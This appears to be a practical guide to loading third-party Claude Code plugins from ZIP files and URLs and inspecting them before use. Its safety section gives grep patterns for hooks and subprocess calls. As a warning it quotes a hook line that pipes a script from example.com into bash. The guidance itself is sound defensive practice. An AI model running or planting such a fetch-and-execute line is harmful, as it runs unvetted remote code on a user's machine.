Loading third-party Claude Code plugins from ZIP and URL, safely in 20 minutes

A week ago somebody posted a plugin ZIP on Discord. "Give it a try, helps with refactoring." In the old days I would have cloned the repo, mounted it locally, checked whether the plugin.json was fine, and then wrestled with the marketplace entry. With --plugin-url and --plugin-dir from the May wave (v2.1.128 through v2.1.136, May 4 to 8, 2026) it is two commands and one session. If you are on the consumer side, meaning you try out other people's plugins instead of building your own, this is the lowest barrier to entry there has ever been.

Sounds trivial. But it has two sharp edges that can hurt if you do not know about them, and that is exactly what this is about.

1. What the May wave changed

Until April 2026, plugin distribution only worked through the marketplace or through a local clone-and-mount. With Claude Code 2.1.128 there are two new flags, --plugin-url to fetch from a URL and --plugin-dir to mount a local directory or an unpacked ZIP. Both flags load the plugin for the current session only. No persistent install, no entries in ~/.claude/settings.json, no marketplace sync. Quit claude and the plugin is gone.

The official docs at code.claude.com/docs/en/whats-new list the change under Week 19 (May 4 to 8). The producer path (you build something yourself and share it) is covered in the existing playbook plugin-bundle-via-url-distribution. This one is about the other direction.

2. The simplest case, trying out a ZIP

Someone sends you a plugin ZIP by mail or Slack. You save it to ~/Downloads/cool-plugin.zip. Two ways to load it.

Way one, without unpacking. claude --plugin-dir ~/Downloads/cool-plugin.zip works right away if the ZIP has a .claude-plugin/plugin.json at its root. Claude Code unpacks it into a temporary directory itself and mounts it for the session.

Way two, unpack manually. unzip ~/Downloads/cool-plugin.zip -d /tmp/cool-plugin && claude --plugin-dir /tmp/cool-plugin. The advantage is that you can run ls and cat before launching, to see what is actually inside. Which is what I am about to recommend anyway.

If the plugin.json is missing or broken, Claude Code aborts with a plugin load error and starts without the plugin. No crash, no half-loaded state.

3. URL fetch for throwaway sessions

If the plugin sits somewhere public (GitHub release asset, S3, Dropbox with a direct link), it takes one step. claude --plugin-url https://github.com/user/plugin/releases/download/v1.0/plugin.zip. Claude Code fetches the ZIP, drops it into ~/.claude/plugins-session-cache/, mounts it and starts.

That cache folder gets emptied on the next regular cleanup, so it is not shared between sessions. If the server behind the URL is down, the launch aborts and you start manually without the plugin. No stale plugins, no "that was installed at some point".

Clear use case for URL fetch: you want to check a CI build version, or take a quick look at a plugin demo from a blog post. No tracking, no repo clone.

4. Mandatory inspection before the first launch

Plugins can define hooks. Hooks can run shell commands. When you load someone else's plugin, you are potentially running someone else's code on your machine. This is where you have to look closer than you would at an npm package, because hooks can fire automatically at session start.

Before I load a third-party plugin for the first time, I run three greps in the unpacked directory:

cd /tmp/cool-plugin
cat .claude-plugin/plugin.json
grep -r "hooks" . --include="*.json"
grep -rE "(exec|spawn|subprocess|shell)" . --include="*.js" --include="*.ts" --include="*.py"

The first grep shows me the plugin manifest, so what it claims to do. The second finds every hook definition. The third is where you see subprocess calls, so where the plugin actually executes code. If something turns up that you did not expect (a PostInit hook running curl example.com/install.sh | bash, say), do not launch that ZIP.

That is the lesson from the MCP STDIO wave back in April (see the playbook mcp-stdio-sicherheit). Plugin loading is not inherently less safe than MCP server loading, but inspecting it matters just as much.

5. When --plugin-dir beats --plugin-url

Three cases where you do not want the URL.

You are working offline, or on a network where the URL host is blocked. Pull the ZIP locally once, then use --plugin-dir. Saves fetches and makes the behaviour reproducible.

You want to modify the plugin before you run it. With --plugin-dir, Claude Code points at your directory, you can edit files and the changes take effect at the next session start. With --plugin-url it pulls fresh every launch, so your changes would be gone.

You want to use the same plugin version repeatedly. Fetching a 5 MB ZIP at every session start is a waste. Run unzip once, then --plugin-dir from the local path. URL loading really is meant for spike tests.

6. Understanding the session scope

Both flags are session-only. That is a feature, not a bug. You do not have to remember to uninstall the plugin later, you do not have to maintain settings.json entries. It makes trying things out much lighter.

But it also means that if you want a plugin in your daily driver, neither the URL nor the dir mount will get you there. For that you need the marketplace route via claude marketplace add ... or a persistent entry.

My workflow today: first time --plugin-url, see whether the plugin is worth anything. If yes, clone it into the persistent plugin repo and wire it in through the marketplace. If no, close the session, the plugin is gone.

7. Plugin URL from a shady source, what to do

If somebody on Reddit, Discord or a forum drops a plugin URL you do not know, three rules.

First rule, download the ZIP instead of loading it straight with --plugin-url. The argument is not about trusting the plugin, it is about trusting the URL host. A direct download URL can be swapped for a different server overnight without you noticing. A local ZIP that you inspected once is stable.

Second rule, run unzip once and read the plugin.json. If it lists permissions you did not expect (filesystem write access for a supposed refactoring plugin), stop.

Third rule, do not touch a live project on the first run. Take a test directory, watch what the plugin does, then decide.

That is not paranoid. It is the same level of care you apply to an npm package that runs a postinstall script.

8. What works well in the CI test pattern

If you develop a plugin and want to test it in CI, --plugin-dir pointed at the build output is your friend. The build step drops the plugin into dist/plugin/, the test step runs claude --plugin-dir ./dist/plugin --print "test command". Headless works with the same flags, there is the playbook claude-code-headless-in-ci-cd for that.

URL loading in CI has the downside that you depend on an external server, which means you also have to allow it in the CI network policy. Dir loading works with any CI runner that has the plugin directory checked out.

9. What else the May wave brought

Three smaller things that fit the plugin setup topic, in case you are in there anyway.

Ctrl-R now searches the command history across projects in Claude Code. If you work in several repos and keep typing the same slash command, the history is finally useful.

Worktrees can be derived from HEAD or from a remote branch without switching the main branch. Fits the worktree playbook currently sitting in the draft folder.

claude marketplace search responds noticeably faster. Not listed as a bug fix, but if you search across many marketplaces you notice it.

10. What is next

If you want to load your first plugin via URL now, go do it. If you then want to build one yourself, read the playbooks dein-erstes-claude-code-plugin and plugin-bundle-via-url-distribution for the producer side. If you want to run the plugin in CI, claude-code-headless-in-ci-cd is the next step. And if something uncomfortable turned up in the hook greps in step 4, the playbook hooks-gegen-halluzinationen explains how to write safe hooks yourself.

Source

• Claude Code Week 19 Release Notes, https://code.claude.com/docs/en/whats-new/2026-w19
• Claude Code plugin documentation, https://code.claude.com/docs/en/plugins
• Companion playbook (producer side), /playbooks/plugin-bundle-via-url-distribution